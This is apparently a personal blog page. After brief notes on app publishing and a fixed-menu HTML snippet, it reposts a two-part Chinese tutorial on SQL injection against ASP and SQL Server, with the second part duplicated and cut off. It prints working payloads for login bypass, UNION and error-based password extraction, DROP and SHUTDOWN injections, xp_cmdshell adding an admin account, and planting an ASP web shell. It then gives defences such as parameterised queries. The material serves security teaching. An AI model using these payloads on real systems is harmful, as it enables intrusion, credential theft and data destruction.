2013年9月27日 星期五

APP上架教學

教學文章
http://blog.soft.idv.tw/?p=1574&page=2


教學影片
http://youtu.be/3hzOzC7Sf7M

費用:25美金

仿FB將上方menu bar固定住







<body>
    <div style="background-color:Blue; color:White; height:30px; line-height:30px; position:fixed; top:0px; left:0px; right:0px; z-index:500"> facebook </div>
    <br>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
        <p>test<p>
</body>

SQL Injection (資料隱碼)– 駭客的 SQL填空遊戲

在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料。而在各類型的資料庫中,又以結構化查詢語言(SQL Structure Query Language)為基礎的關聯式資料庫管理系統(RDBMS Relational Database Management System)最為流行。
一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,乃至於新增、修改、刪除或查詢資料。因為關聯式資料庫所有的執行動 作皆是遵循 SQL 命令,所以透過此種方式可以很方便地完成各種資料維護工作。但也正因為 SQL 語言無所不能,所以稍有漏洞就會讓駭客有機可乘。這兩期文章就針對這個主題做一個深入的探討。
網站的資料存取一般來說是比較危險的,因為網際網路是一個開放的環境,而不像一般公司內部網路,除了有電腦本身的安全設計,還可以過濾篩檢員工的身 分背景。網際網路上龍蛇雜處,大部分的使用者都循規導矩,但少數圖謀不軌的人卻處心積慮地要侵入我們的系統,竊取有價值的資料。但一般的網管人員及網頁設 計師,可能在安全設定上有著重重防範,如架設防火牆,設計非軍事區(DMZ),限制網站登入者的身分等等。但由於缺乏對 SQL 語言及資料庫管理系統的認知,而大開系統的後門。
本文針對微軟的 ASP 網站架構搭配 MS SQL Server 做一個探討及示範,希望能提供各網站的管理人員對 SQL Injection 的入侵方式有個基本的認識,就筆者在撰寫本文時,利用搜尋網站隨意找幾個有會員機制的網站來測試,其中多數都有被此類方式侵入的危險,大家不可不慎。
筆者在此先建立一個一般會員網站登入網頁的範例,以及相關資料表的架構如下:
資料表的 Schema 如程式碼列表 1
CREATE TABLE [tblUser] (
     [UserID] [int] IDENTITY (1, 1) NOT NULL ,
     [UserName] [nvarchar] (50) NOT NULL ,
     [Password] [nvarchar] (50) NOT NULL ,
     [Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri] DEFAULT (0),
     CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
     ([UserID])
)
程式碼列表 1:存放會員資料的資料表 Schema。
並在資料表加入兩筆資料內容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10)
INSERT tblUser(UserName,Password,Pri) VALUES('Byron','ByronPass',10)
登入網頁的撰寫方式如程式碼列表 2
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open

'利用使用者輸入的資料來組合 SQL 語法
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"
'直接交給 SQL Server 執行,這是最危險的地方
Set rec=.Execute(strSQL)
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If

Else
%>
<Form action="login.asp">
使用者名稱:<Input Name="UserName"><P>
密碼:<Input Name="Pass" >
<P>
<Input type="submit" Value="確定">
</Form>
<%
End If
%>
程式碼列表 2:簡單的 ASP 登入網頁。
程式碼列表 2 中的 ASP 網頁利用 VBScript 來組合查詢使用者帳號、密碼的 SQL 查詢語法,邏輯相當簡單,若資料表中存有符合的帳號、密碼記錄,則回傳的 Recordset 的 EOF 屬性是 False,該使用者就算正確登入。
針對此種網頁,我們以下就開始利用 SQL Injection 的技巧來”駭”這個網站吧!
剪接語法
利用任何已知的使用者名稱登入1:例如在網咖偷偷地觀察某個使用者用什麼樣的帳號登入到哪個網站等等,或著先試試一般管理人員可能建立的使用者名稱,如:admin、administrator、supervisor、sa 等等。
在需要輸入使用者名稱的地方鍵入以下的內容2
Admin’--
而密碼欄位隨便亂輸入,對於會被執行的整句 SQL 沒有什麼關係。示意圖如圖 1

圖 1:利用已知的會員名稱登入,讓程式碼跳過密碼檢查。
你可以試著將輸入使用者名稱的內容與程式碼列表 2 的 SQL 語法做個整理,將會發現實際傳給 SQL Server 的語法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf'
關鍵就是原先的 AND 子句被 “--" 標示成說明,也就是 SQL Server 僅僅執行
SELECT * FROM tblUser WHERE UserName='admin'
自然,若有該使用者存在,則這個 SQL 查詢語法就傳回該記錄的所有欄位內容。再按照程式碼列表 2 的判斷方式:傳回的 Recordset 是否有記錄,若有就算登入驗證成功。則駭客就可以輕易地以該使用者的身分進入了。
用未知的使用者名稱登入:若沒有已知的帳號,也可以用以下的方式輸入到使用者名稱欄位,便能大大方方地侵入:
‘ or 1=1--
SQL Server 所接收的整個語法變成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf'
因為加上的 or 1=1,則不管之前的條件為合,只要某個條件為真,整個判斷式就都為真,因此回傳的 Recordset 物件包含了全部的會員記錄。也導致程式碼列表 2 中的 Recordset 物件 EOF 屬性為 False。
利用錯誤訊息
獲取欄位數量與名稱
微軟為了方便 ASP 的程式開發者可以順利地除錯,因此每當 Script 執行錯誤時,都會透過預設的 <系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 網頁將發生錯誤的原因回傳到前端,對於開發者來說,這是一個非常方便的錯誤呈現方式。但駭客也可以利用這個錯誤訊息取得原始 ASP 中的查詢語法,並從中了解資料庫中資料表的架構。例如在使用者名稱欄位輸入:
' HAVING 1=1--
則系統會傳回如圖 2 的錯誤訊息。


圖 2:故意製造錯誤,從錯誤訊息中找尋蛛絲馬跡。
圖 2 可以知道存放使用者的資料表名稱是 tblUser,且查詢中有一個欄位叫 UserID。因此我們再次輸入:
'GROUP BY UserID HAVING 1=1--
這回錯誤訊息如圖 3


圖 3:利用錯誤訊息來了解資料表大致結構。
再次在圖 3 的錯誤訊息中可知查詢的欄位還有 UserName,因此繼續以下列方式來查詢3
'GROUP BY UserID,UserName HAVING 1=1--
利用上述方式取到完整查詢語法後,也就是輸入以下的語法,但不再造成執行時期錯誤:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1--
因為整個傳遞到 SQL Server 的語法變成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf'
如此列出所有欄位的 Group By 方式幾近等於沒有 Group By,但語法完全正確表示所有的欄位都已經包含在其中了。駭客就此可以約略估計資料表的欄位結構。
在輸入帳號的地方執行以下語法便可以加入自訂的使用者到資料表中。
';INSERT INTO tblUser Values('hacker','hacker',10)--
獲取欄位資料型態

若有資料欄位格式不對,導致無法加入自訂使用者,也可以利用下列語法傳回的錯誤訊息來判讀資料欄位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser --
結果傳回如圖 4 的錯誤訊息。


圖 4:利用錯誤訊息來判斷欄位的資料型態。
在這裡我們透過 UNION 語法來組合兩句 SELECT 查詢,第一句 SELECT 語法的第一個欄位 UserID 是 int 格式,但對應的第二句 SELECT 語法;第一個欄位的資料是 varchar 格式的 ‘abc’,因此出現如圖 4 的錯誤訊息。駭客也由此得知資料表第一個欄位的資料型態是 int。有耐心地把一個個欄位測試完畢後,便可以得到整個資料表的欄位格式。

獲取會員的帳號密碼

利用這個技巧,還可以再進一步獲取使用者的帳號和密碼,例如先以下列語法詢問帳號:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--
IIS 回傳錯誤訊息如圖 5

圖 5:利用錯誤訊息來取得使用者帳號和密碼。
因為傳回的記錄”Admin”是 nvarchar 格式,而透過 union 對應到原先 int 資料欄位,因此有圖 5 的錯誤訊息。由以上的錯誤可以得知有一個稱為”Admin”的帳號存在,之後再以下列語法獲得該帳號的密碼。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
錯誤訊息如圖 6


圖 6:利用錯誤訊息取得帳號 admin 的密碼。
之後再繼續以下列語法來獲得其他人的帳號密碼。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'--
錯誤訊息如圖 7


圖 7:依序透過相同的機制取得其他人的帳號密碼。
依次替換掉 WHERE UserName > 的條件內容,就可以取得資料表中所有的帳號和密碼組合。
駭客甚至可以透過以下的語法將整個使用者帳號密碼串成字串:在輸入使用者帳號的欄位填入如程式碼列表 3 的 SQL 語句。
';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--
程式碼列表 3:將所有的使用者資料組成字串,放入自訂的資料表中。
程式碼列表 3 中,先宣告一個長度為 8000 的字串變數 @str,再將整個 tblUser 資料表的內容組成一個字串放到變數 @str 之內,最後再利用 SELECT … INTO… 語法把 @str 變數的內容放到自建的資料表 tblHacker 之中。
然後再利用前述故意營造錯誤的技巧換回資料內容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker--
結果如圖 8


圖 8:取回全部的會員帳號密碼資料。
當然事後要做一個清除的動作,以避免系統管理人員的注意,依然在名稱欄位輸入如下的內容。
' ; DROP TABLE tblHacker--
在本期的文章中,筆者介紹了一般的 SQL Injection 攻擊,相信你不是感到興奮且躍躍欲試,想要找幾個網站來開刀,就是感到毛骨悚然,趕快檢視一下自己的系統。不管你是何者,筆者期盼本文不致遭到誤用,若有 心測試別站的安全程度,建議你將成果告知該站的管理人員,讓整個網際網路的世界更為安全,一般人才會願意流漣在其上,而我們資訊人員才有更好的未來。
在下期文章中,筆者將繼續介紹進階的 SQL Injection 攻擊,並提出因應的防範之道,期待再次與你見面。
後記:本文所舉各例,並非單指Microsoft SQL Server而言,事實上所有關聯式資料庫如Oracle等均是如此。同時,本文所舉各例,並非單指ASP而言,事實上對所有動態網頁如JSP、PHP等 均是如此(即使你的系統還停留在CGI技術也是一樣),奉勸各位即時檢視您的系統,防患未然。
(本文由SQL Server電子雜誌 http://www.sqlserver.com.tw 授權台灣微軟獨家轉載)
註釋:

1 就筆者觀察,現今很多的有會員機制的網站在登入時都是以身分證字號當作登入帳號,所以駭客只要想辦法拿到某個會員的身分證字號就可以試試這個方法。
2 以下的 SQL Injection 登入方式都是只利用使用者帳號的欄位,輸入不同的 SQL 語法,以組織各種可能的執行方式,而都利用 “--” 將後面的密碼欄位標示成 SQL 說明。
3 駭客的第一特質:有耐心。筆者因此就沒有做駭客的天賦,為了撰寫這篇文章,筆者反反覆覆地測試各個網站,重複的過程非常乏味,所得結論是既然有這個精力,筆者寧願多看點書,賺取正當的收入。

原始出處http://www.microsoft.com/taiwan/sql/SQL_Injection_G2.htm
SQL Injection – 駭客的 SQL填空遊戲(下)
SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。
使用具破壞力的語法
以下列舉部分的功能稍做討論。

停掉 SQL Server 的執行

直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:
' ;SHUTDOWN--
破壞內容

當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:
' ;DROP Database <資料庫名稱>--
刪除資料庫內某個資料表:
' ;DROP Table <資料表名稱>--
清空某個資料表:
' ;Truncate Table <資料表名稱>--
抑或是以 DELETE 清空資料表:
' ;DELETE FROM <資料表名稱>--
使用進階且功能強悍的延伸預存程序
這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。
執行其他應用程式
xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。
以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。
若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。
與 Registry 相關的系統預存程序
SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。
再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。
與 OLE Automation/COM 物件相關的延伸預存程序
SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式碼列表 3:取得 login.asp 網頁的內容。
程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。
當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式碼列表 4:建立 ASP 後門網頁。
從此透過 URL 就可以執行任何執行檔,範例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相關的延伸預存程序
這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。
SQL Server 的工具程式
透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。
對於預防 SQL Injection 的建議
綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。
  • 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
    就 算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
  •  ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
  • sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
  • 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:
Exec spXXX 參數,…
因為駭客所加入的 SQL 語法一樣可以執行:
Exec spXXX 參數,…;SHUTDOWN
我們可以建立一個預存程序程式碼列表 5
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。
同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>
程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。
如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。
  • 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
  • 不要顯示錯誤訊息到前端。
    利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
    或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3
  •  將用不到但功能強大的延伸預存程序刪除。
  •  監控系統的執行。
  •  防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4
  •  隨時注意是否有新的修補程式要上。
以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。
相關網址
以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。
SQL Injection – 駭客的 SQL填空遊戲(下)
SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。
使用具破壞力的語法
以下列舉部分的功能稍做討論。

停掉 SQL Server 的執行

直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:
' ;SHUTDOWN--
破壞內容

當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:
' ;DROP Database <資料庫名稱>--
刪除資料庫內某個資料表:
' ;DROP Table <資料表名稱>--
清空某個資料表:
' ;Truncate Table <資料表名稱>--
抑或是以 DELETE 清空資料表:
' ;DELETE FROM <資料表名稱>--
使用進階且功能強悍的延伸預存程序
這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。
執行其他應用程式
xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。
以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。
若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。
與 Registry 相關的系統預存程序
SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。
再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。
與 OLE Automation/COM 物件相關的延伸預存程序
SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式碼列表 3:取得 login.asp 網頁的內容。
程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。
當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式碼列表 4:建立 ASP 後門網頁。
從此透過 URL 就可以執行任何執行檔,範例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相關的延伸預存程序
這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
